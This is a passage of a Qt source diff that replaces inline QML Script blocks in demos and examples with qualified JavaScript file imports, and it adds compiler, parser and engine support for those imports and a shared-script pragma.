100755 --- a/demos/declarative/samegame/SamegameCore/samegame.js +++ b/demos/declarative/samegame/SamegameCore/samegame.js @@ -22,11 +22,6 @@ function timeStr(msecs) { return ret; } -function getTileSize() -{ - return tileSize; -} - function initBoard() { for(var i = 0; i 0) { @@ -74,9 +72,9 @@ ListModel { } function savePlayerScore(player,score) { - db().transaction( + __db().transaction( function(tx) { - ensureTables(tx); + __ensureTables(tx); tx.executeSql("INSERT INTO HighScores VALUES(?,?,?)", [game,score,player]); fillModel(); } @@ -88,7 +86,7 @@ ListModel { } function clearScores() { - db().transaction( + __db().transaction( function(tx) { tx.executeSql("DELETE FROM HighScores WHERE game=?", [game]); fillModel(); diff --git a/demos/declarative/snake/snake.qml b/demos/declarative/snake/snake.qml index 317c7de..68c2b78 100644 --- a/demos/declarative/snake/snake.qml +++ b/demos/declarative/snake/snake.qml @@ -1,13 +1,12 @@ import Qt 4.6 import "content" as Content +import "content/snake.js" as Logic Rectangle { id: screen; SystemPalette { id: activePalette } color: activePalette.window - Script { source: "content/snake.js" } - property int gridSize : 34 property int margin: 4 property int numRowsAvailable: Math.floor((height-32-2*margin)/gridSize) @@ -36,19 +35,19 @@ Rectangle { id: heartbeat; interval: heartbeatInterval; repeat: true - onTriggered: { move() } + onTriggered: { Logic.move() } } Timer { id: halfbeat; interval: halfbeatInterval; repeat: true running: heartbeat.running - onTriggered: { moveSkull() } + onTriggered: { Logic.moveSkull() } } Timer { interval: 700; - onTriggered: {startNewGame(); } + onTriggered: { Logic.startNewGame(); } } Timer { @@ -105,13 +104,13 @@ Rectangle { anchors.fill: parent onPressed: { if (!head || !heartbeat.running) { - startNewGame(); + Logic.startNewGame(); return; } if (direction == 0 || direction == 2) - scheduleDirection((mouseX > (head.x + head.width/2)) ? 1 : 3); + Logic.scheduleDirection((mouseX > (head.x + head.width/2)) ? 1 : 3); else - scheduleDirection((mouseY > (head.y + head.height/2)) ? 2 : 0); + Logic.scheduleDirection((mouseY > (head.y + head.height/2)) ? 2 : 0); } } } @@ -149,7 +148,7 @@ Rectangle { anchors.bottom: screen.bottom Content.Button { - id: btnA; text: "New Game"; onClicked: {startNewGame();} + id: btnA; text: "New Game"; onClicked: Logic.startNewGame(); anchors.left: parent.left; anchors.leftMargin: 3 anchors.verticalCenter: parent.verticalCenter } @@ -163,11 +162,11 @@ Rectangle { } focus: true - Keys.onSpacePressed: startNewGame(); - Keys.onLeftPressed: if (state == "starting" || direction != 1) scheduleDirection(3); - Keys.onRightPressed: if (state == "starting" || direction != 3) scheduleDirection(1); - Keys.onUpPressed: if (state == "starting" || direction != 2) scheduleDirection(0); - Keys.onDownPressed: if (state == "starting" || direction != 0) scheduleDirection(2); + Keys.onSpacePressed: Logic.startNewGame(); + Keys.onLeftPressed: if (state == "starting" || direction != 1) Logic.scheduleDirection(3); + Keys.onRightPressed: if (state == "starting" || direction != 3) Logic.scheduleDirection(1); + Keys.onUpPressed: if (state == "starting" || direction != 2) Logic.scheduleDirection(0); + Keys.onDownPressed: if (state == "starting" || direction != 0) Logic.scheduleDirection(2); states: [ State { diff --git a/demos/declarative/webbrowser/content/FlickableWebView.qml b/demos/declarative/webbrowser/content/FlickableWebView.qml index 30a5d78..759cff6 100644 --- a/demos/declarative/webbrowser/content/FlickableWebView.qml +++ b/demos/declarative/webbrowser/content/FlickableWebView.qml @@ -25,21 +25,19 @@ Flickable { pixelCacheSize: 4000000 transformOrigin: Item.TopLeft - Script { - function fixUrl(url) - { - if (url == "") return url - if (url[0] == "/") return "file://"+url - if (url.indexOf(":")<0) { - if (url.indexOf(".")<0 || url.indexOf(" ")>=0) { - // Fall back to a search engine; hard-code Wikipedia - return "http://en.wikipedia.org/w/index.php?search="+url - } else { - return "http://"+url - } + function fixUrl(url) + { + if (url == "") return url + if (url[0] == "/") return "file://"+url + if (url.indexOf(":")<0) { + if (url.indexOf(".")<0 || url.indexOf(" ")>=0) { + // Fall back to a search engine; hard-code Wikipedia + return "http://en.wikipedia.org/w/index.php?search="+url + } else { + return "http://"+url } - return url } + return url } url: fixUrl(webBrowser.urlString) diff --git a/demos/declarative/webbrowser/content/fieldtext/FieldText.qml b/demos/declarative/webbrowser/content/fieldtext/FieldText.qml index d282209..1da9219 100644 --- a/demos/declarative/webbrowser/content/fieldtext/FieldText.qml +++ b/demos/declarative/webbrowser/content/fieldtext/FieldText.qml @@ -10,30 +10,26 @@ Item { signal cancelled signal startEdit - Script { - - function edit() { - if (!mouseGrabbed) { - fieldText.startEdit(); - fieldText.state='editing'; - mouseGrabbed=true; - } - } - - function confirm() { - fieldText.state=''; - fieldText.text = textEdit.text; - mouseGrabbed=false; - fieldText.confirmed(); + function edit() { + if (!mouseGrabbed) { + fieldText.startEdit(); + fieldText.state='editing'; + mouseGrabbed=true; } + } - function reset() { - textEdit.text = fieldText.text; - fieldText.state=''; - mouseGrabbed=false; - fieldText.cancelled(); - } + function confirm() { + fieldText.state=''; + fieldText.text = textEdit.text; + mouseGrabbed=false; + fieldText.confirmed(); + } + function reset() { + textEdit.text = fieldText.text; + fieldText.state=''; + mouseGrabbed=false; + fieldText.cancelled(); } Image { diff --git a/examples/declarative/dynamic/qml/PaletteItem.qml b/examples/declarative/dynamic/qml/PaletteItem.qml index 8a9a9ee..08bdc40 100644 --- a/examples/declarative/dynamic/qml/PaletteItem.qml +++ b/examples/declarative/dynamic/qml/PaletteItem.qml @@ -1,13 +1,13 @@ import Qt 4.6 +import "itemCreation.js" as Code GenericItem { id: itemButton property string file - Script { source: "itemCreation.js" } MouseArea { anchors.fill: parent; - onPressed: startDrag(mouse); - onPositionChanged: moveDrag(mouse); - onReleased: endDrag(mouse); + onPressed: Code.startDrag(mouse); + onPositionChanged: Code.moveDrag(mouse); + onReleased: Code.endDrag(mouse); } } diff --git a/examples/declarative/sql/hello.qml b/examples/declarative/sql/hello.qml index 277dfeb..29e084c 100644 --- a/examples/declarative/sql/hello.qml +++ b/examples/declarative/sql/hello.qml @@ -1,30 +1,29 @@ import Qt 4.6 Text { - Script { - function findGreetings() { - var db = openDatabaseSync("QDeclarativeExampleDB", "1.0", "The Example QML SQL!", 1000000); + function findGreetings() { + var db = openDatabaseSync("QDeclarativeExampleDB", "1.0", "The Example QML SQL!", 1000000); - db.transaction( - function(tx) { - // Create the database if it doesn't already exist - tx.executeSql('CREATE TABLE IF NOT EXISTS Greeting(salutation TEXT, salutee TEXT)'); + db.transaction( + function(tx) { + // Create the database if it doesn't already exist + tx.executeSql('CREATE TABLE IF NOT EXISTS Greeting(salutation TEXT, salutee TEXT)'); - // Add (another) greeting row - tx.executeSql('INSERT INTO Greeting VALUES(?, ?)', [ 'hello', 'world' ]); + // Add (another) greeting row + tx.executeSql('INSERT INTO Greeting VALUES(?, ?)', [ 'hello', 'world' ]); - // Show all added greetings - var rs = tx.executeSql('SELECT * FROM Greeting'); + // Show all added greetings + var rs = tx.executeSql('SELECT * FROM Greeting'); - var r = "" - for(var i = 0; i < rs.rows.length; i++) { - r += rs.rows.item(i).salutation + ", " + rs.rows.item(i).salutee + "\n" - } - text = r + var r = "" + for(var i = 0; i < rs.rows.length; i++) { + r += rs.rows.item(i).salutation + ", " + rs.rows.item(i).salutee + "\n" } - ) - } + text = r + } + ) } + text: "?" Component.onCompleted: findGreetings() } diff --git a/examples/declarative/tic-tac-toe/tic-tac-toe.qml b/examples/declarative/tic-tac-toe/tic-tac-toe.qml index ae187d2..4bb1e3f 100644 --- a/examples/declarative/tic-tac-toe/tic-tac-toe.qml +++ b/examples/declarative/tic-tac-toe/tic-tac-toe.qml @@ -1,5 +1,6 @@ import Qt 4.6 import "content" +import "tic-tac-toe.js" as Logic Item { id: game @@ -29,164 +30,17 @@ Item { height: board.height/3 onClicked: { if (!endtimer.running) { - if (!makeMove(index,"X")) - computerTurn() + if (!Logic.makeMove(index,"X")) + Logic.computerTurn() } } } } - Script { - function winner(board) - { - for (var i=0; i<3; ++i) { - if (board.children[i].state!="" - && board.children[i].state==board.children[i+3].state - && board.children[i].state==board.children[i+6].state) - return true - - if (board.children[i*3].state!="" - && board.children[i*3].state==board.children[i*3+1].state - && board.children[i*3].state==board.children[i*3+2].state) - return true - } - - if (board.children[0].state!="" - && board.children[0].state==board.children[4].state!="" - && board.children[0].state==board.children[8].state!="") - return true - - if (board.children[2].state!="" - && board.children[2].state==board.children[4].state!="" - && board.children[2].state==board.children[6].state!="") - return true - - return false - } - - function restart() - { - // No moves left - start again - for (var i=0; i<9; ++i) - board.children[i].state = "" - } - - function makeMove(pos,player) - { - board.children[pos].state = player - if (winner(board)) { - win(player + " wins") - return true - } else { - return false - } - } - - function computerTurn() - { - var r = Math.random(); - if(r < game.difficulty){ - smartAI(); - }else{ - randAI(); - } - } - - function smartAI() - { - function boardCopy(a){ - var ret = new Object; - ret.children = new Array(9); - for(var i = 0; i<9; i++){ - ret.children[i] = new Object; - ret.children[i].state = a.children[i].state; - } - return ret; - } - for(var i=0; i<9; i++){ - var simpleBoard = boardCopy(board); - if (board.children[i].state == "") { - simpleBoard.children[i].state = "O"; - if(winner(simpleBoard)){ - makeMove(i,"O") - return - } - } - } - for(var i=0; i<9; i++){ - var simpleBoard = boardCopy(board); - if (board.children[i].state == "") { - simpleBoard.children[i].state = "X"; - if(winner(simpleBoard)){ - makeMove(i,"O") - return - } - } - } - function thwart(a,b,c){//If they are at a, try b or c - if (board.children[a].state == "X") { - if (board.children[b].state == "") { - makeMove(b,"O") - return true - }else if (board.children[c].state == "") { - makeMove(c,"O") - return true - } - } - return false; - } - if(thwart(4,0,2)) return; - if(thwart(0,4,3)) return; - if(thwart(2,4,1)) return; - if(thwart(6,4,7)) return; - if(thwart(8,4,5)) return; - if(thwart(1,4,2)) return; - if(thwart(3,4,0)) return; - if(thwart(5,4,8)) return; - if(thwart(7,4,6)) return; - for(var i =0; i<9; i++){//Backup - if (board.children[i].state == "") { - makeMove(i,"O") - return - } - } - restart(); - } - - function randAI() - { - var open = 0; - for (var i=0; i<9; ++i) - if (board.children[i].state == "") { - open += 1; - } - if(open == 0){ - restart(); - return; - } - var openA = new Array(open);//JS doesn't have lists I can append to (i think) - var acc = 0; - for (var i=0; i<9; ++i) - if (board.children[i].state == "") { - openA[acc] = i; - acc += 1; - } - var choice = openA[Math.floor(Math.random() * open)]; - makeMove(choice, "O"); - } - - function win(s) - { - msg.text = s - msg.opacity = 1 - endtimer.running = true - } - } - Timer { id: endtimer interval: 1600 - onTriggered: { msg.opacity = 0; restart() } + onTriggered: { msg.opacity = 0; Logic.restart() } } } diff --git a/examples/declarative/webview/content/FieldText.qml b/examples/declarative/webview/content/FieldText.qml index d282209..1da9219 100644 --- a/examples/declarative/webview/content/FieldText.qml +++ b/examples/declarative/webview/content/FieldText.qml @@ -10,30 +10,26 @@ Item { signal cancelled signal startEdit - Script { - - function edit() { - if (!mouseGrabbed) { - fieldText.startEdit(); - fieldText.state='editing'; - mouseGrabbed=true; - } - } - - function confirm() { - fieldText.state=''; - fieldText.text = textEdit.text; - mouseGrabbed=false; - fieldText.confirmed(); + function edit() { + if (!mouseGrabbed) { + fieldText.startEdit(); + fieldText.state='editing'; + mouseGrabbed=true; } + } - function reset() { - textEdit.text = fieldText.text; - fieldText.state=''; - mouseGrabbed=false; - fieldText.cancelled(); - } + function confirm() { + fieldText.state=''; + fieldText.text = textEdit.text; + mouseGrabbed=false; + fieldText.confirmed(); + } + function reset() { + textEdit.text = fieldText.text; + fieldText.state=''; + mouseGrabbed=false; + fieldText.cancelled(); } Image { diff --git a/examples/declarative/webview/content/SpinSquare.qml b/examples/declarative/webview/content/SpinSquare.qml index 466c99e..b65a29d 100644 --- a/examples/declarative/webview/content/SpinSquare.qml +++ b/examples/declarative/webview/content/SpinSquare.qml @@ -15,7 +15,7 @@ Item { width: root.width height: width } - rotation: NumberAnimation { + NumberAnimation on rotation { from: 0 to: 360 repeat: true diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index 103e918..28c2210 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -542,8 +542,8 @@ void QDeclarativeCompiler::reset(QDeclarativeCompiledData *data) on a successful compiler. */ bool QDeclarativeCompiler::compile(QDeclarativeEngine *engine, - QDeclarativeCompositeTypeData *unit, - QDeclarativeCompiledData *out) + QDeclarativeCompositeTypeData *unit, + QDeclarativeCompiledData *out) { exceptions.clear(); @@ -633,6 +633,37 @@ void QDeclarativeCompiler::compileTree(Object *tree) init.init.compiledBinding = output->indexForByteArray(compileState.compiledBindingData); output->bytecode << init; + // Build global import scripts + QHash importedScripts; + QStringList importedScriptIndexes; + + for (int ii = 0; ii < unit->scripts.count(); ++ii) { + QString scriptCode = QString::fromUtf8(unit->scripts.at(ii).resource->data); + Object::ScriptBlock::Pragmas pragmas = QDeclarativeScriptParser::extractPragmas(scriptCode); + + if (!scriptCode.isEmpty()) { + Object::ScriptBlock &scriptBlock = importedScripts[unit->scripts.at(ii).qualifier]; + + scriptBlock.codes.append(scriptCode); + scriptBlock.lineNumbers.append(1); + scriptBlock.files.append(unit->scripts.at(ii).resource->url); + scriptBlock.pragmas.append(pragmas); + } + } + + for (QHash::Iterator iter = importedScripts.begin(); + iter != importedScripts.end(); ++iter) { + + importedScriptIndexes.append(iter.key()); + + QDeclarativeInstruction import; + import.type = QDeclarativeInstruction::StoreImportedScript; + import.line = 0; + import.storeScript.value = output->scripts.count(); + output->scripts << *iter; + output->bytecode << import; + } + genObject(tree); QDeclarativeInstruction def; @@ -641,7 +672,13 @@ void QDeclarativeCompiler::compileTree(Object *tree) output->bytecode << def; output->imports = unit->imports; - output->importCache = output->imports.cache(engine); + + output->importCache = new QDeclarativeTypeNameCache(engine); + + for (int ii = 0; ii < importedScriptIndexes.count(); ++ii) + output->importCache->add(importedScriptIndexes.at(ii), ii); + + output->imports.cache(output->importCache, engine); Q_ASSERT(tree->metatype); @@ -1153,6 +1190,8 @@ bool QDeclarativeCompiler::buildComponent(QDeclarativeParser::Object *obj, bool QDeclarativeCompiler::buildScript(QDeclarativeParser::Object *obj, QDeclarativeParser::Object *script) { + qWarning().nospace() << qPrintable(output->url.toString()) << ":" << obj->location.start.line << ":" << obj->location.start.column << ": Script blocks have been deprecated. Support will be removed entirely shortly."; + Object::ScriptBlock scriptBlock; if (script->properties.count() == 1 && @@ -1184,6 +1223,7 @@ bool QDeclarativeCompiler::buildScript(QDeclarativeParser::Object *obj, QDeclara scriptBlock.codes.append(scriptCode); scriptBlock.files.append(sourceUrl); scriptBlock.lineNumbers.append(lineNumber); + scriptBlock.pragmas.append(Object::ScriptBlock::None); } } @@ -1226,6 +1266,7 @@ bool QDeclarativeCompiler::buildScript(QDeclarativeParser::Object *obj, QDeclara scriptBlock.codes.append(scriptCode); scriptBlock.files.append(sourceUrl); scriptBlock.lineNumbers.append(lineNumber); + scriptBlock.pragmas.append(Object::ScriptBlock::None); } } diff --git a/src/declarative/qml/qdeclarativecomponent.cpp b/src/declarative/qml/qdeclarativecomponent.cpp index ec595e3..ec23458 100644 --- a/src/declarative/qml/qdeclarativecomponent.cpp +++ b/src/declarative/qml/qdeclarativecomponent.cpp @@ -612,6 +612,11 @@ QDeclarativeComponentPrivate::beginCreate(QDeclarativeContextData *context, cons ctxt->isInternal = true; ctxt->url = cc->url; ctxt->imports = cc->importCache; + + // Nested global imports + if (creationContext && start != -1) + ctxt->importedScripts = creationContext->importedScripts; + cc->importCache->addref(); ctxt->setParent(context); diff --git a/src/declarative/qml/qdeclarativecomponent_p.h b/src/declarative/qml/qdeclarativecomponent_p.h index 649fce5..b44aeef 100644 --- a/src/declarative/qml/qdeclarativecomponent_p.h +++ b/src/declarative/qml/qdeclarativecomponent_p.h @@ -116,7 +116,7 @@ public: static void complete(QDeclarativeEnginePrivate *enginePriv, ConstructionState *state); QDeclarativeEngine *engine; - QDeclarativeContextData *creationContext; + QDeclarativeGuardedContextData creationContext; void clear(); diff --git a/src/declarative/qml/qdeclarativecompositetypedata_p.h b/src/declarative/qml/qdeclarativecompositetypedata_p.h index fb26af9..04d0c63 100644 --- a/src/declarative/qml/qdeclarativecompositetypedata_p.h +++ b/src/declarative/qml/qdeclarativecompositetypedata_p.h @@ -103,7 +103,16 @@ public: QDeclarativeCompositeTypeData *unit; }; + struct ScriptReference + { + ScriptReference(); + + QString qualifier; + QDeclarativeCompositeTypeResource *resource; + }; + QList types; + QList scripts; QList resources; // Add or remove p as a waiter. When the QDeclarativeCompositeTypeData becomes diff --git a/src/declarative/qml/qdeclarativecompositetypemanager.cpp b/src/declarative/qml/qdeclarativecompositetypemanager.cpp index ebf1f40..c883805 100644 --- a/src/declarative/qml/qdeclarativecompositetypemanager.cpp +++ b/src/declarative/qml/qdeclarativecompositetypemanager.cpp @@ -126,6 +126,27 @@ QDeclarativeCompositeTypeData::toCompiledComponent(QDeclarativeEngine *engine) { if (status == Complete && !compiledComponent) { + // Build script imports + foreach (const QDeclarativeScriptParser::Import &import, data.imports()) { + if (import.type == QDeclarativeScriptParser::Import::Script) { + QString url = imports.baseUrl().resolved(QUrl(import.uri)).toString(); + + ScriptReference ref; + ref.qualifier = import.qualifier; + + for (int ii = 0; ii < resources.count(); ++ii) { + if (resources.at(ii)->url == url) { + ref.resource = resources.at(ii); + break; + } + } + + Q_ASSERT(ref.resource); + + scripts << ref; + } + } + compiledComponent = new QDeclarativeCompiledData(engine); compiledComponent->url = imports.baseUrl(); compiledComponent->name = compiledComponent->url.toString(); @@ -153,6 +174,11 @@ QDeclarativeCompositeTypeData::TypeReference::TypeReference() { } +QDeclarativeCompositeTypeData::ScriptReference::ScriptReference() +: resource(0) +{ +} + QDeclarativeCompositeTypeManager::QDeclarativeCompositeTypeManager(QDeclarativeEngine *e) : engine(e), redirectCount(0) { @@ -514,6 +540,9 @@ int QDeclarativeCompositeTypeManager::resolveTypes(QDeclarativeCompositeTypeData foreach (QDeclarativeScriptParser::Import imp, unit->data.imports()) { QDeclarativeDirComponents qmldircomponentsnetwork; + if (imp.type == QDeclarativeScriptParser::Import::Script) + continue; + if (imp.type == QDeclarativeScriptParser::Import::File && imp.qualifier.isEmpty()) { QString importUrl = unit->imports.baseUrl().resolved(QUrl(imp.uri + QLatin1String("/qmldir"))).toString(); for (int ii = 0; ii < unit->resources.count(); ++ii) { diff --git a/src/declarative/qml/qdeclarativecontext.cpp b/src/declarative/qml/qdeclarativecontext.cpp index 782c0d7..85896c4 100644 --- a/src/declarative/qml/qdeclarativecontext.cpp +++ b/src/declarative/qml/qdeclarativecontext.cpp @@ -606,6 +606,75 @@ void QDeclarativeContextData::addObject(QObject *o) contextObjects = data; } +void QDeclarativeContextData::addImportedScript(const QDeclarativeParser::Object::ScriptBlock &script) +{ + if (!engine) + return; + + Q_ASSERT(script.codes.count() == 1); + + QDeclarativeEnginePrivate *enginePriv = QDeclarativeEnginePrivate::get(engine); + QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine); + + const QString &code = script.codes.at(0); + const QString &url = script.files.at(0); + const QDeclarativeParser::Object::ScriptBlock::Pragmas &pragmas = script.pragmas.at(0); + + Q_ASSERT(!url.isEmpty()); + + if (pragmas & QDeclarativeParser::Object::ScriptBlock::Shared) { + + QHash::Iterator iter = enginePriv->m_sharedScriptImports.find(url); + if (iter == enginePriv->m_sharedScriptImports.end()) { + QScriptContext *scriptContext = QScriptDeclarativeClass::pushCleanContext(scriptEngine); + + scriptContext->pushScope(enginePriv->globalClass->globalObject()); + + QScriptValue scope = scriptEngine->newObject(); + scriptContext->setActivationObject(scope); + scriptContext->pushScope(scope); + + scriptEngine->evaluate(code, url, 1); + + if (scriptEngine->hasUncaughtException()) { + QDeclarativeError error; + QDeclarativeExpressionPrivate::exceptionToError(scriptEngine, error); + qWarning().nospace() << qPrintable(error.toString()); + } + + scriptEngine->popContext(); + + iter = enginePriv->m_sharedScriptImports.insert(url, scope); + } + + importedScripts.append(*iter); + + } else { + + QScriptContext *scriptContext = QScriptDeclarativeClass::pushCleanContext(scriptEngine); + + scriptContext->pushScope(enginePriv->contextClass->newContext(this, 0)); + scriptContext->pushScope(enginePriv->globalClass->globalObject()); + + QScriptValue scope = scriptEngine->newObject(); + scriptContext->setActivationObject(scope); + scriptContext->pushScope(scope); + + scriptEngine->evaluate(code, url, 1); + + if (scriptEngine->hasUncaughtException()) { + QDeclarativeError error; + QDeclarativeExpressionPrivate::exceptionToError(scriptEngine, error); + qWarning().nospace() << qPrintable(error.toString()); + } + + scriptEngine->popContext(); + + importedScripts.append(scope); + + } +} + void QDeclarativeContextData::addScript(const QDeclarativeParser::Object::ScriptBlock &script, QObject *scopeObject) { diff --git a/src/declarative/qml/qdeclarativecontext_p.h b/src/declarative/qml/qdeclarativecontext_p.h index d74aa33..ecf3ec8 100644 --- a/src/declarative/qml/qdeclarativecontext_p.h +++ b/src/declarative/qml/qdeclarativecontext_p.h @@ -141,6 +141,8 @@ public: // Any script blocks that exist on this context QList scripts; + QList importedScripts; + void addImportedScript(const QDeclarativeParser::Object::ScriptBlock &script); void addScript(const QDeclarativeParser::Object::ScriptBlock &script, QObject *scopeObject); // Context base url diff --git a/src/declarative/qml/qdeclarativecontextscriptclass.cpp b/src/declarative/qml/qdeclarativecontextscriptclass.cpp index 847d632..2559224 100644 --- a/src/declarative/qml/qdeclarativecontextscriptclass.cpp +++ b/src/declarative/qml/qdeclarativecontextscriptclass.cpp @@ -240,10 +240,19 @@ QDeclarativeContextScriptClass::property(Object *object, const Identifier &name) } else if (lastData) { - if (lastData->type) + if (lastData->type) { return Value(scriptEngine, ep->typeNameClass->newObject(bindContext->contextObject, lastData->type)); - else - return Value(scriptEngine, ep->typeNameClass->newObject(bindContext->contextObject, lastData->typeNamespace)); + } else if (lastData->typeNamespace) { + return Value(scriptEngine, ep->typeNameClass->newObject(bindContext->contextObject, + lastData->typeNamespace)); + } else { + int index = lastData->importedScriptIndex; + if (index < bindContext->importedScripts.count()) { + return Value(scriptEngine, bindContext->importedScripts.at(index)); + } else { + return Value(); + } + } } else if (lastPropertyIndex != -1) { @@ -266,7 +275,6 @@ QDeclarativeContextScriptClass::property(Object *object, const Identifier &name) ep->capturedProperties << QDeclarativeEnginePrivate::CapturedProperty(bindContext->asQDeclarativeContext(), -1, lastPropertyIndex + cp->notifyIndex); } - return Value(scriptEngine, rv); } else { diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index 5820961..0bedbeb 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -1695,12 +1695,10 @@ static QDeclarativeTypeNameCache *cacheForNamespace(QDeclarativeEngine *engine, return cache; } -QDeclarativeTypeNameCache *QDeclarativeEnginePrivate::Imports::cache(QDeclarativeEngine *engine) const +void QDeclarativeEnginePrivate::Imports::cache(QDeclarativeTypeNameCache *cache, QDeclarativeEngine *engine) const { const QDeclarativeEnginePrivate::ImportedNamespace &set = d->unqualifiedset; - QDeclarativeTypeNameCache *cache = new QDeclarativeTypeNameCache(engine); - for (QHash::ConstIterator iter = d->set.begin(); iter != d->set.end(); ++iter) { @@ -1716,8 +1714,6 @@ QDeclarativeTypeNameCache *QDeclarativeEnginePrivate::Imports::cache(QDeclarativ } cacheForNamespace(engine, set, cache); - - return cache; } /* diff --git a/src/declarative/qml/qdeclarativeengine_p.h b/src/declarative/qml/qdeclarativeengine_p.h index 4ab619e..6532d30 100644 --- a/src/declarative/qml/qdeclarativeengine_p.h +++ b/src/declarative/qml/qdeclarativeengine_p.h @@ -264,7 +264,7 @@ public: void setBaseUrl(const QUrl& url); QUrl baseUrl() const; - QDeclarativeTypeNameCache *cache(QDeclarativeEngine *) const; + void cache(QDeclarativeTypeNameCache *cache, QDeclarativeEngine *) const; private: friend class QDeclarativeEnginePrivate; @@ -281,7 +281,9 @@ public: QString resolvePlugin(const QDir &dir, const QString &baseName); - bool addToImport(Imports*, const QDeclarativeDirComponents &qmldircomponentsnetwork, const QString& uri, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType) const; + bool addToImport(Imports*, const QDeclarativeDirComponents &qmldircomponentsnetwork, + const QString& uri, const QString& prefix, int vmaj, int vmin, + QDeclarativeScriptParser::Import::Type importType) const; bool resolveType(const Imports&, const QByteArray& type, QDeclarativeType** type_return, QUrl* url_return, int *version_major, int *version_minor, @@ -303,6 +305,8 @@ public: QHash m_qmlLists; QHash m_compositeTypes; + QHash m_sharedScriptImports; + QScriptValue scriptValueFromVariant(const QVariant &); QVariant scriptValueToVariant(const QScriptValue &); diff --git a/src/declarative/qml/qdeclarativeinstruction.cpp b/src/declarative/qml/qdeclarativeinstruction.cpp index a23ff75..9083ab3 100644 --- a/src/declarative/qml/qdeclarativeinstruction.cpp +++ b/src/declarative/qml/qdeclarativeinstruction.cpp @@ -144,6 +144,9 @@ void QDeclarativeCompiledData::dump(QDeclarativeInstruction *instr, int idx) case QDeclarativeInstruction::StoreScript: qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_SCRIPT\t\t" << instr->storeScript.value; break; + case QDeclarativeInstruction::StoreImportedScript: + qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_IMPORTED_SCRIPT\t" << instr->storeScript.value; + break; case QDeclarativeInstruction::StoreScriptString: qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_SCRIPT_STRING\t" << instr->storeScriptString.propertyIndex << "\t" << instr->storeScriptString.value << "\t" << instr->storeScriptString.scope; break; diff --git a/src/declarative/qml/qdeclarativeinstruction_p.h b/src/declarative/qml/qdeclarativeinstruction_p.h index ec32b35..877179d 100644 --- a/src/declarative/qml/qdeclarativeinstruction_p.h +++ b/src/declarative/qml/qdeclarativeinstruction_p.h @@ -119,6 +119,7 @@ public: StoreSignal, /* storeSignal */ StoreScript, /* storeScript */ + StoreImportedScript, /* storeScript */ StoreScriptString, /* storeScriptString */ // diff --git a/src/declarative/qml/qdeclarativeparser_p.h b/src/declarative/qml/qdeclarativeparser_p.h index 9dfb86b..476b027 100644 --- a/src/declarative/qml/qdeclarativeparser_p.h +++ b/src/declarative/qml/qdeclarativeparser_p.h @@ -179,9 +179,16 @@ namespace QDeclarativeParser // Script blocks that were nested under this object struct ScriptBlock { + enum Pragma { + None = 0x00000000, + Shared = 0x00000001 + }; + Q_DECLARE_FLAGS(Pragmas, Pragma) + QStringList codes; QStringList files; QList lineNumbers; + QList pragmas; }; QList scripts; @@ -360,6 +367,8 @@ namespace QDeclarativeParser }; } +Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativeParser::Object::ScriptBlock::Pragmas); + QT_END_NAMESPACE Q_DECLARE_METATYPE(QDeclarativeParser::Variant) diff --git a/src/declarative/qml/qdeclarativescriptparser.cpp b/src/declarative/qml/qdeclarativescriptparser.cpp index 2578ff4..49bd3b7 100644 --- a/src/declarative/qml/qdeclarativescriptparser.cpp +++ b/src/declarative/qml/qdeclarativescriptparser.cpp @@ -441,8 +441,14 @@ bool ProcessAST::visit(AST::UiImport *node) QDeclarativeScriptParser::Import import; if (node->fileName) { - import.type = QDeclarativeScriptParser::Import::File; uri = node->fileName->asString(); + + if (uri.endsWith(QLatin1String(".js"))) { + import.type = QDeclarativeScriptParser::Import::Script; + _parser->_refUrls << QUrl(uri); + } else { + import.type = QDeclarativeScriptParser::Import::File; + } } else { import.type = QDeclarativeScriptParser::Import::Library; uri = asString(node->importUri); @@ -451,6 +457,7 @@ bool ProcessAST::visit(AST::UiImport *node) AST::SourceLocation startLoc = node->importToken; AST::SourceLocation endLoc = node->semicolonToken; + // Qualifier if (node->importId) { import.qualifier = node->importId->asString(); if (!import.qualifier.at(0).isUpper()) { @@ -461,17 +468,43 @@ bool ProcessAST::visit(AST::UiImport *node) _parser->_errors << error; return false; } + + // Check for script qualifier clashes + bool isScript = import.type == QDeclarativeScriptParser::Import::Script; + for (int ii = 0; ii < _parser->_imports.count(); ++ii) { + const QDeclarativeScriptParser::Import &other = _parser->_imports.at(ii); + bool otherIsScript = other.type == QDeclarativeScriptParser::Import::Script; + + if ((isScript || otherIsScript) && import.qualifier == other.qualifier) { + QDeclarativeError error; + error.setDescription(QCoreApplication::translate("QDeclarativeParser","Script import qualifiers must be unique.")); + error.setLine(node->importIdToken.startLine); + error.setColumn(node->importIdToken.startColumn); + _parser->_errors << error; + return false; + } + } + + } else if (import.type == QDeclarativeScriptParser::Import::Script) { + QDeclarativeError error; + error.setDescription(QCoreApplication::translate("QDeclarativeParser","Script import requires a qualifier")); + error.setLine(node->importIdToken.startLine); + error.setColumn(node->importIdToken.startColumn); + _parser->_errors << error; + return false; } - if (node->versionToken.isValid()) + + if (node->versionToken.isValid()) { import.version = textAt(node->versionToken); - else if (import.type == QDeclarativeScriptParser::Import::Library) { + } else if (import.type == QDeclarativeScriptParser::Import::Library) { QDeclarativeError error; error.setDescription(QCoreApplication::translate("QDeclarativeParser","Library import requires a version")); error.setLine(node->importIdToken.startLine); error.setColumn(node->importIdToken.startColumn); _parser->_errors << error; return false; - } + } + import.location = location(startLoc, endLoc); import.uri = uri; @@ -934,6 +967,95 @@ QList QDeclarativeScriptParser::errors() const return _errors; } +/* +Searches for ".pragma " declarations within \a script. Currently supported pragmas +are: + library +*/ +QDeclarativeParser::Object::ScriptBlock::Pragmas QDeclarativeScriptParser::extractPragmas(QString &script) +{ + QDeclarativeParser::Object::ScriptBlock::Pragmas rv = QDeclarativeParser::Object::ScriptBlock::None; + + const QChar forwardSlash(QLatin1Char('/')); + const QChar star(QLatin1Char('*')); + const QChar newline(QLatin1Char('\n')); + const QChar 